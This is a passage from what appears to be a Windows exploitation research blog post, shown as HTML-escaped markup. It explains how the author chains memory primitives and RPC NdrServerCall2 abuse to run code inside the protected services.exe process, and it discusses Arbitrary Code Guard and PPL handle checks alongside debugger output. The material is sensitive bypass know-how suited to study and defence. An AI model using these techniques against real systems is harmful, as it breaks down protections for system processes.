class=&#34;cl&#34;&gt;  881 00007ff9`31d4e58c c3              ret&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This function takes a single argument in the &lt;code&gt;RCX&lt;/code&gt; register, and increments the dword pointed by &lt;code&gt;RCX+8&lt;/code&gt;, atomically.&lt;/p&gt;&#xA;&lt;p&gt;This function is also a valid CFG target, so this works perfectly. Now, to get an arbitrary write using this arbitrary increment, it&amp;rsquo;s simply a matter of incrementing a memory region, byte by byte, to get the desired memory buffer.&lt;/p&gt;&#xA;&lt;p&gt;In the next steps, we will need to craft multiple arbitrary buffers, so, where should we write these buffers ? I opted to use the end of the &lt;code&gt;.data&lt;/code&gt; section of various DLL that are already loaded in the &lt;em&gt;PPL&lt;/em&gt; process. In memory, the sections of a PE file are page size-aligned, with zero-padding between sections. Since the pages of the &lt;code&gt;.data&lt;/code&gt; section are allocate as RW, this gives us zero-initialized memory that is unused and writeable - overwriting this data won&amp;rsquo;t risk crashing the process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rpc-to-the-rescue&#34;&gt;RPC to the rescue!&lt;/h2&gt;&#xA;&lt;p&gt;Now, we have two primitives: arbitrary write, and a one argument function call. The goal is to transform this into the ability to call any function without limitation on the arguments.&lt;/p&gt;&#xA;&lt;p&gt;To do so, I reused an idea from &lt;a href=&#34;https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html#windows-rpc-introduction-and-exploitation&#34;&gt;this browser exploitation technique&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The idea is relatively simple, with the arbitrary write, it&amp;rsquo;s possible to setup a &lt;em&gt;NDR&lt;/em&gt; message, which is the representation of RPC messages. Then, it is possible to call &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/rpcndr/nf-rpcndr-ndrservercall2&#34;&gt;&lt;code&gt;rpcrt4!NdrServerCall2&lt;/code&gt;&lt;/a&gt;, with a single argument being a pointer to a &lt;code&gt;RPC_MESSAGE&lt;/code&gt; structure, containing the NDR. This function is responsible for unmarshalling the &lt;em&gt;NDR&lt;/em&gt;, which includes informations on a function to invoke, as well as the number of arguments to pass to the function.&lt;/p&gt;&#xA;&lt;p&gt;By carefully cratfing the structure, it is possible to call an arbitrary function, with as many arguments as we want.&lt;/p&gt;&#xA;&lt;p&gt;From there, injecting code into &lt;code&gt;services.exe&lt;/code&gt; seems to be simply a matter of allocating RWX memory, and creating a thread.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mitigations&#34;&gt;Mitigations&lt;/h2&gt;&#xA;&lt;p&gt;Unfortunately, this won&amp;rsquo;t work for &lt;code&gt;services.exe&lt;/code&gt;. Here&amp;rsquo;s the list of mitigations active on the process:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; dx @$curprocess.KernelObject.MitigationFlagsValues&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;@$curprocess.KernelObject.MitigationFlagsValues                 [Type: &amp;lt;unnamed-tag&amp;gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 0: 0)] ControlFlowGuardEnabled : 0x1 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 1: 1)] ControlFlowGuardExportSuppressionEnabled : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 2: 2)] ControlFlowGuardStrict : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 3: 3)] DisallowStrippedImages : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 4: 4)] ForceRelocateImages : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 5: 5)] HighEntropyASLREnabled : 0x1 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 6: 6)] StackRandomizationDisabled : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 7: 7)] ExtensionPointDisable : 0x1 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 8: 8)] DisableDynamicCode : 0x1 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 ( 9: 9)] DisableDynamicCodeAllowOptOut : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (10:10)] DisableDynamicCodeAllowRemoteDowngrade : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (11:11)] AuditDisableDynamicCode : 0x1 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (12:12)] DisallowWin32kSystemCalls : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (13:13)] AuditDisallowWin32kSystemCalls : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (14:14)] EnableFilteredWin32kAPIs : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (15:15)] AuditFilteredWin32kAPIs : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (16:16)] DisableNonSystemFonts : 0x1 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (17:17)] AuditNonSystemFontLoading : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (18:18)] PreferSystem32Images : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (19:19)] ProhibitRemoteImageMap : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (20:20)] AuditProhibitRemoteImageMap : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (21:21)] ProhibitLowILImageMap : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (22:22)] AuditProhibitLowILImageMap : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (23:23)] SignatureMitigationOptIn : 0x1 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (24:24)] AuditBlockNonMicrosoftBinaries : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (25:25)] AuditBlockNonMicrosoftBinariesAllowStore : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (26:26)] LoaderIntegrityContinuityEnabled : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (27:27)] AuditLoaderIntegrityContinuity : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (28:28)] EnableModuleTamperingProtection : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (29:29)] EnableModuleTamperingProtectionNoInherit : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (30:30)] RestrictIndirectBranchPrediction : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000 (31:31)] IsolateSecurityDomain : 0x0 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Arbitrary Code Guard&lt;/em&gt; is enabled on &lt;code&gt;services.exe&lt;/code&gt;, which prevents the allocation of a RWX memory section, or changing from RW to RX using our arbitrary call primitive.&lt;/p&gt;&#xA;&lt;h3 id=&#34;failed-attempt&#34;&gt;Failed attempt&lt;/h3&gt;&#xA;&lt;p&gt;My first idea to bypass this mitigation, was to abuse a well-known limitation of &lt;em&gt;Arbitrary Code Guard&lt;/em&gt;. Although the process itself cannot allocate new executable memory, a different process with a handle to the first process with &lt;code&gt;VM_OPERATION&lt;/code&gt; - and without the mitigation - can allocate new executable code within the original process which has &lt;em&gt;Arbitratry Code Guard&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is due to the &lt;code&gt;MiArbitraryCodeBlocked&lt;/code&gt; function, which is called in the context of the remote process, for instance when calling &lt;code&gt;NtProtectVirtualMemory&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;NTSTATUS&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;MiArbitraryCodeBlocked&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_EPROCESS&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pEprocess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pEprocess&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MitigationFlags&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DisableDynamicCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CrossThreadFlags&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DisableDynamicCodeOptOut&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pEprocess&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MitigationFlags&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AuditDisableDynamicCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;       &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CrossThreadFlags&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DisableDynamicCodeOptOut&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;EtwTimLogProhibitDynamicCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pEprocess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;EtwTraceMemoryAcg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;EtwTraceMemoryAcg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x80000000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;EtwTimLogProhibitDynamicCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pEprocess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_DYNAMIC_CODE_BLOCKED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since the &lt;code&gt;EPROCESS&lt;/code&gt; passed to this function is the one of the current process in the context of &lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; or &lt;code&gt;NtProtectVirtualMemory&lt;/code&gt;, and not the one of the remote process, a process without the mitigation can allocate RWX memory in a process with the mitigation, given a handle with enough right.&lt;/p&gt;&#xA;&lt;p&gt;My idea was to call &lt;code&gt;NtDuplicateObject&lt;/code&gt; using the arbitrary function call primitive, to give a handle with full permissions to a process without &lt;em&gt;Arbitrary Code Guard&lt;/em&gt;, and then perform code injection using this handle.&lt;/p&gt;&#xA;&lt;p&gt;However, this doesn&amp;rsquo;t work as I expected: our remote process receives a valid handle to the &lt;code&gt;services.exe&lt;/code&gt; process, but this handle only has the &lt;code&gt;Query Limited Informations&lt;/code&gt; right.&lt;/p&gt;&#xA;&lt;p&gt;The reason for that is that I didn&amp;rsquo;t fully understand how the checks for &lt;em&gt;PPL&lt;/em&gt; are implemented.&lt;/p&gt;&#xA;&lt;p&gt;The checks are actually implemented by the &lt;code&gt;PsTestProtectedProcessIncompatibility&lt;/code&gt; function, called within the &lt;code&gt;PspProcessOpen&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;PspProcessOpen&lt;/code&gt; is registered as the &lt;code&gt;OpenProcedure&lt;/code&gt; for the &lt;code&gt;ObjectType&lt;/code&gt; associated with processes objects.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; dt nt!_OBJECT_TYPE ffff9a8d`468c1bc0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x000 TypeList         : _LIST_ENTRY [ 0xffff9a8d`468c1bc0 - 0xffff9a8d`468c1bc0 ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x010 Name             : _UNICODE_STRING &amp;#34;Process&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x020 DefaultObject    : (null) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x028 Index            : 0x7 &amp;#39;&amp;#39;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x02c TotalNumberOfObjects : 0x9b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x030 TotalNumberOfHandles : 0x5e1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x034 HighWaterNumberOfObjects : 0x9b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x038 HighWaterNumberOfHandles : 0x633&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x040 TypeInfo         : _OBJECT_TYPE_INITIALIZER&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x0b8 TypeLock         : _EX_PUSH_LOCK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x0c0 Key              : 0x636f7250&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   +0x0c8 CallbackList     : _LIST_ENTRY [ 0xffffaf04`f583ee00 - 0xffffaf04`f583ee00 ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; dx -id 0,0,ffff9a8d4bc750c0 -r1 (*((ntkrnlmp!_OBJECT_TYPE_INITIALIZER *)0xffff9a8d468c1c00))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;(*((ntkrnlmp!_OBJECT_TYPE_INITIALIZER *)0xffff9a8d468c1c00))                 [Type: _OBJECT_TYPE_INITIALIZER]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x000] Length           : 0x78 [Type: unsigned short]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x002] ObjectTypeFlags  : 0xca [Type: unsigned short]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x020] RetainAccess     : 0x101000 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x024] PoolType         : NonPagedPoolNx (512) [Type: _POOL_TYPE]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x028] DefaultPagedPoolCharge : 0x1000 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x02c] DefaultNonPagedPoolCharge : 0xbd8 [Type: unsigned long]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x030] DumpProcedure    : 0x0 : 0x0 [Type: void (__cdecl*)(void *,_OBJECT_DUMP_CONTROL *)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x038] OpenProcedure    : 0xfffff807173e61f0 : ntkrnlmp!PspProcessOpen+0x0 [Type: long (__cdecl*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x040] CloseProcedure   : 0xfffff8071732ad50 : ntkrnlmp!PspProcessClose+0x0 [Type: void (__cdecl*)(_EPROCESS *,void *,unsigned __int64,unsigned __int64)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x048] DeleteProcedure  : 0xfffff807173df330 : ntkrnlmp!PspProcessDelete+0x0 [Type: void (__cdecl*)(void *)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    [+0x050] ParseProcedure   : 0x0 : 0x0 [Type: long (__cdecl*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As such, when &lt;code&gt;NtDuplicateObject&lt;/code&gt; is called, it calls &lt;code&gt;ObDuplicateObject&lt;/code&gt;, which, if everything is valid, calls &lt;code&gt;ObpIncrementHandleCountEx&lt;/code&gt;, triggering the OpenProcedure for the corresponding Object Type, in our case, &lt;code&gt;PspProcessOpen&lt;/code&gt; - which will strip the rights of the handle.&lt;/p&gt;&#xA;&lt;p&gt;To solve this issue, a first option is to spawn a new &lt;code&gt;services.exe&lt;/code&gt;, but without the mitigation. Afterwards, since &lt;em&gt;Arbitrary Call Guard&lt;/em&gt; is not enabled on this new &lt;code&gt;services.exe&lt;/code&gt;, it is possible to allocate RWX memory and write a shellcode to it.&lt;/p&gt;&#xA;&lt;p&gt;The other option is to abuse the fact that the signature is not verified during the mapping of &lt;code&gt;Section&lt;/code&gt; objects.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-complete-chain&#34;&gt;The complete chain&lt;/h2&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s see how we can assemble all these primitives to get code execution within &lt;code&gt;services.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, we create a Kernel LiveDump, specifying the &lt;code&gt;IncludeUserSpaceMemoryPages&lt;/code&gt; flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This will create a livedump on disk. This may slow down the system for a few seconds.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Next, we parse the livedump to retreive the necessary values&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To be able to parse the livedump file, I made a quick reimplementation of &lt;a href=&#34;https://github.com/0vercl0k/kdmp-parser&#34;&gt;&lt;code&gt;kdmp-parser&lt;/code&gt;&lt;/a&gt; in Rust (while doing this project, the original author made his own &lt;a href=&#34;https://github.com/0vercl0k/kdmp-parser-rs&#34;&gt;port to 